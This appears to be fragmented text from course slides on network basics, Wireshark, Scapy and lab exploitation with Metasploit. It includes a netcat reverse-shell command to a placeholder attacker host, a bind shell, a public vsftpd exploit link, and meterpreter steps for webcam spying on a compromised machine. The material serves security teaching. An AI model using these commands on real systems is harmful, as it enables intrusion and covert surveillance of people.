C3SA Module 04 V1
C3SA Module 04 V1
NETWORK
EXPLOITATION
What is Computer Network ?
➤ IP Address
➤ Data Frame
➤ Client-Server
➤ IP Packet
Architecture
PPDU
SPDU
PDU
Packets
Frame
➤ TCP/IP model stands for the Transmission Control Protocol and Internet
Protocol, which is also known as Department of Defense (DOD) Model as
the Development of the Networking Model was funded by DARPA (Defense
Advanced Research Projects Agency).
➤ Unlike OSI model this model isn’t the reference model. The TCP/IP model is
majorly used as the practical model in most of the cases.
SMTP, HTTP, FTP, TELNET
Network Essentials: TCP/IP Model
TCPand
➤ TCP/IP model stands for the Transmission Control Protocol & UDP
Internet
Protocol, which is also known as Department of Defense (DOD) Model as
the Development of the Networking Model was funded by DARPA (Defense
Advanced Research Projects Agency). IP, ARP, ICMP, IGMP
➤ Unlike OSI model this model isn’t the reference model. The TCP/IP model is
majorly used as the practical model in most of theData
cases.Link & Physical
TCP/IP MODEL
Network Essentials: TCP & UDP Protocol
➤ Example of Application protocols that uses TCP: HTTP, FTP, TELNET etc.
➤ UDP (User Datagram Protocol): Alike TCP, UDP is a Layer 4 protocol but
unlike TCP it doesn’t provide acknowledgement of the sent packets. Due to
which the UDP is referred as connection-less protocol.
➤ These Ports are basically used for hosting services and connecting to the
provided services in a computer network. The Ports are basically program
that defines the protocol in which the information or data will be shared
from one communication endpoint.
Example: 73.54.67.10
■ IPv6: IPv6 contains eight sets of four hexadecimal digits and uses colons to
separate each block.
Example: 2602:0445:0000:0000:a93e:5ca7:81e2:5f9d
Network Essentials: Packets
➤ Packet is the unit of the data that is used to carry the data from the origin to
destination in a TCP/IP network.
➤ The Diagram explains every single detail about the unit of data i.e. packets
in the TCP/IP Suite.
Packet Chronology
Network
Packet
TCP UDP
Header Header
Packets in TCP/IP Model or Protocol Suite
Network Essentials: IP Packet
Network Essentials: TCP Packet
Destinatio
Network Essentials: TCP Packet n Port is
the port
on which
Source service is
Port from hosted by
which the server
Request is
sent number of
bytes
number of received
bytes sent
Receiver
• Data Offset: This Window
indicates where the Size
data begins
• Reserved: Reserved for
future use URG
• Code(Flag): Flags these Control
are the Control Bits BIT
XOR for
Header Raw Data or the Payload Mainly
Composed
Options
of 0’s
Network Essentials: TCP-IP Packet
Network Essentials: UDP Packet
TCP FLAGS or TCP Control Bits
➤ Using Wireshark we can see the in-depth detailing of network packets and
the structure of the packets.
➤ Not Just for the security purposes, it is majorly used in the organization
by the network administrators, network engineers, QA engineers for
purposes like troubleshooting, protocol implementations.
➤ But we will use Wireshark to learn about the network and network
protocol internals.
Running Wireshark on Kali Linux
➤ Wireshark comes already installed in Kali Linux so we only need to call the
tool to start sniffing from the command prompt.
➤ The Wireshark GUI will be prompted which will look similar to below fig.
Running Wireshark on Kali Linux
➤ The Blue fin present on the toolbar can be used to enable the sniffing on
the selected interface.
Capturing Packets
➤ After clicking on the blue fin we can see the Wireshark header shows that
we have started capturing packets transferring on the interface “eth0”.
➤ Filters are used to get the output of the packets that we desire to see as the
output that were captured by Wireshark.
➤ For Example we can type : icmp which we will show all the ICMP packets
that are captured by Wireshark.
Basics of Filters in Wireshark
➤ By applying some of the filters we can see the display output is changed.
➤ The Comparison Operators can be used to query the specific output. The
Below example can be used to derive only the packets in which the
destination IP is “192.168.152.149”. (filter: ip.dst eq 192.168.152.149)
Using Comparison Operators with Filters
➤ Let’s look into another example in which we filter the output on the basis
of TCP Source Port. (filter: tcp.dstport eq 5050 )
➤ In order to save the network traffic in a PCAP using Wireshark we will follow
the below steps :
■ We need to stop the packet capturing.
■ Then we will go to the file option > and select save as > “name of the file”
> save as pcap.
Saving the Network Traffic in a PCAP File.
➤ We will discuss about Scapy in detail in this module in order to learn about :
Ether()
IP()
TCP()
Packet
Packet Encapsulation: Going Through Ether()
Command: ls(TCP)
On the Output we can see there are
number of fields that can be provided
to the layer like:
■ sport: for defining the source port
■ dport: for defining the destination port
■ flags: for defining the flag type (like
ACK, SYN, FIN, PSH, URG, RST )
Packet Encapsulation: Specifying essential fields in all layers
(TCP Packet)
Defines the
Source IP Address src
dst Defines the
Defines the dst Destination MAC
Destination IP Address
Address IP Packet Ether
Time
to Live ttl Defines the
src
TCP Source MAC
Defines the len
Address
Length of Packet
sport dport flags window
1. ICMP
2. TCP
Sending a network packet & analysing using Wireshark
● ICMP Ping
● ICMP Ping
Reference :
https://0xbharath.github.io/art-of-packet-crafting-with-scapy/network_recon/os_detection/index.html
Lab Setup
Exploit: -
➤ It is the actual code through which can attacker take advantage of a
particular loop-hole.
Vulnerability: -
➤ The loop-hole existing in a particular software or hardware can be called as
vulnerability.
➤ It can also be understood as a weakest link which allows an attacker to
compromise the system.
Example: -
Vulnerability
Payload:-
➤ Payload is attached with the exploit and delivered to the target system.
➤ Once the payload is executed, the attacker have full privileged access to
the target system.
Listener: -
➤ In our lab scenario, we will listen on our Kali machine and the target
machine can connect back to our machine after successful exploitation.
➤ Tools like netcat is one of the best example available for both windows
and linux platforms.
Introduction to Exploitation
Exploit + Payload
➤ Examples:
■ In Windows:
● Command Prompt
● Power Shell
■ In Linux:
● Bash shell
● sh shell
➤ During exploitation, we will encounter various scenarios where we take
shells of target systems on our attacker machine (aka reverse shell)
➤ That means, we have access to the system & can interact with the
target system & can manipulate the file system too.
➤ We will take example of the swiss army knife tool (aka netcat).
Overview of reverse shell
➤ Here, we are calling netcat & the option ‘lvp’ specifies for listen, verbose,
port.
➤ On the target machine (here linux box), execute the following command:
nc <attacker_box_ip> <attacker_listen_port> -e /bin/bash
➤ ‘e’ option stands for execute program, here we mean to execute bash
shell to the reverse shell.
➤ As soon as the command on the victim machine is executed:
➤ The attacker opens a TCP port on the victim machine & host a shell.
➤ That means anyone who connect to the target machine & on a specific
port will be presented with a shell.
➤ This tells that anyone who connects to victim box on TCP port 5555 must
be presented a ‘/bin/sh’ shell, ‘-e’ option is for execution.
nc <victim_ip> <victim_port>
➤ Executing command on the victim machine:
➤ Actively scan the target IP address and look for open TCP and UDP
ports.
➤ Scan the service thoroughly to figure out service version, all for
identification of a vulnerable service.
➤ Also prior to this the attacker have to collect all the tools like nmap for
port scanning, look for publically available exploits etc.
➤ In this demo, the public exploit can be found at the following location: -
https://github.com/In2econd/vsftpd-2.3.4-exploit
➤ It covers approx. all type of exploitation methods and tries to fit in almost
every scenarios.
➤ Let’s get familiar with the Metasploit functionalities and start attacking the
target system.
Note: Proper enumeration of the target must be done before any exploitation phase.
Understanding Metasploit Framework
➤ It is so well organized that it is easy to port your custom modules (in ruby)
to the framework and seamlessly test it against the target.
➤ All the modules are stored in a separate folder called “modules” and the
others in their respective directories.
➤ Some of the important directories of the framework are:-
■ Modules
■ Scripts
■ Plugins
■ Tools
■ Data
■ Config
➤ Auxiliary Modules: -
These are just recon modules basically used for collecting information about
the target, actively or passively. Presence of “Auxiliary” word identifies this.
Example: -
“auxiliary/scanner/rdp/cve_ 2019_0708_bluekeep”
➤ Exploit Modules: -
The original exploit which the attacker would select before launching is
referred as exploit modules. They have “exploit” word in it. Example: -
“exploit/windows/rdp/cve_2019_0708_bluekeep”
➤ Sessions: -
Sessions are connection made from (or made by other system to )
Metasploit framework. The attacker controlling the Metasploit framework is
actually a command & controller server (C2 server) .
➤ Parameters: -
Parameters are essential fields attached to a specific module which may or
may not be essential for exploitation activities.
➤ LHOST: -
This is the IP address of the attacker machine and generally referred as
Listening host.
➤ RHOST: -
The IP Address of the target machine (Victim machine), referred as Remote
host.
➤ LPORT: -
The listening port of the attacker machine is LPORT. Generally, it is the port
where the attacker waits for incoming connection from the victim machine.
➤ RPORT: -
The remote port of the target machine. This will guide the Metasploit to
target a specific port given of the user choice on the target machine.
➤ Payload Modules: -
There are 3 types of payload modules: - singles, stagers, stages. They are
present at the “/usr/share/metasploit-framework/modules/payloads”
directory.
➤ Stagers
■ These type are payload are used to download large payload to the target
machine from the attacker machine.
■ Creates a network connection between attacker & compromised machine.
■ Example: payload/windows/shell/bind_tcp
➤ Stages
■ These are the large payload downloaded by the stagers & then executed.
■ Assigned to do complex tasks like Remote Desktop, meterpreter etc.
■ Exmaple: payload/windows/shell/bind_tcp
➤ Core Commands: -
These commands are used for interaction with the Metasploit framework
and all the connections made to it. One of the best example is ‘help’
command which displays all the available commands present for the user.
Below table shows the command as well as it’s description.
Commands Description
help Show all available commands
quit To exit the console
sessions List all the available sessions
set Set a specific value to parameter
unset Unset value attached to a parameter
version Display the version of Framework & console
Table: 1
➤ Module Commands: -
These commands are used to interact with modules available in the
framework. Example: - There are tons of exploits in the framework, if you
need to search a particular module, then this can be done through ‘search’
command.
Command Description
search For searching in available modules
advanced Displays advanced options of a module
use Especially used for interacting with a module
show Displays modules of a given type, or all modules
options To list all the parameters needed in a particular
module
reload_all For reloading all the modules in the framework
Table: 2
Network Exploitation
➤ Network means connection of more than one system so that they can
communicate with each other. There can be multiple systems on a single
network.
Internet
msfconsole
Recon using Metasploit
search portscan/tcp
use auxiliary/scanner/portscan/tcp
➤ Check all the required options in the selected module. The one with
‘required’ equals ‘yes’ are important and the values must be passed to
these parameters.
options
set rhosts 192.168.100.141
➤ Now, run the auxiliary module to discover open TCP port of the target
machine.
Enumeration using Metasploit
➤ We will narrow down our approach to the FTP service running on TCP port
21. To fingerprint the service running let’s use the “ftp_version” module.
search ftp_version
use auxiliary/scanner/ftp/ftp_version
➤ Now look for options corresponding to the selected module and set the
parameter fields as follows: -
options
set RHOSTS 192.168.100.141
➤ When run, this module will try to connect to the target IP and port and
fetch out the banner from the service running on the system.
➤ Metasploit have the capability to list the payload compatible with the
exploit module. This can be done through the following command: -
show payloads
➤ Attach the following payload to the exploit through this command: -
➤ This should be noted that there can be many payloads compatible with
exploits and it depends on the target architecture and OS platform to
choose the right one.
➤ Now everything is set let’s launch the exploit and wait for execution of our
payload through which we can interact with the target system.
➤ Our command gets executed at the target system without any interaction
with the target system, this is the beauty of the remote exploit.
➤ However, the payload through which we interacted with the target
system have some limitations like: -
■ Limited set of commands
■ Not interactive
■ May get detected by Anti-Virus (in case of Windows)
■ May trigger IDS alarm.
➤ The best thing about meterpreter is that we can pivot (or move) from
one machine to another connected machine (accessible from the
compromised machine).
Working of Meterpreter
Session is established
Exercise 3
➤ In this exercise, we will upgrade our session to meterpreter on the FTP
service through which we have previously compromised the target
system.
Meterpreter
communication
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
sessions
Meterpreter
Commands
➤ And, now to stream live video of the camera attached to the target
machine, use: -
webcam_stream
➤ One can snap the picture of the person using the compromised system.
➤ Enumerate the target & try to gain access via a shell session to the target
machine.
Module 4 : Capstone Project